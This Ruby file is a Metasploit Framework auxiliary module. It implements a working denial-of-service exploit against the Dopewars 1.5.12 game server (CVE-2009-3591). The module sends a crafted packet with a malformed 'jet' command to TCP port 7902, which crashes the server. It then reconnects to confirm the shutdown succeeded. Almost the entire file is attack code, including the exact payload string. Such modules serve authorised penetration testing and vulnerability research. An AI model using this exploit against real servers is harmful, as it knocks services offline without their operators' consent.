##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#	http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'			 => 'Dopewars Denial of Service',
			'Description'	 => %q{
					The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to
				a  lack of input validation.
			},
			'Author'		 => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
			'License'		 => MSF_LICENSE,
			'References'	 =>
				[
					[ 'CVE', '2009-3591' ],
					[ 'OSVDB', '58884' ],
					[ 'BID', '36606' ]
				],
			'DisclosureDate' => "Oct 05 2009" ))

		register_options([Opt::RPORT(7902)], self.class)
	end

	def run
		# The jet command is vulnerable.
		# Program received signal SIGSEGV, Segmentation fault.
		# [Switching to Thread 0xb74916c0 (LWP 30638)]
		# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
		# serverside.c:525
		# 525			dopelog(4, LF_SERVER, "%s jets to %s",
		#
		connect
		pkt =  "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
		print_status("Sending dos packet...")
		sock.put(pkt)
		disconnect

		print_status("Checking for success...")
		select(nil, nil, nil, 2)
		begin
			connect
		rescue ::Interrupt
			raise $!
		rescue ::Rex::ConnectionRefused
			print_good("Dopewars server successfully shut down!")
		else
			print_error("DOS attack unsuccessful")
		ensure
			disconnect
		end
	end
end
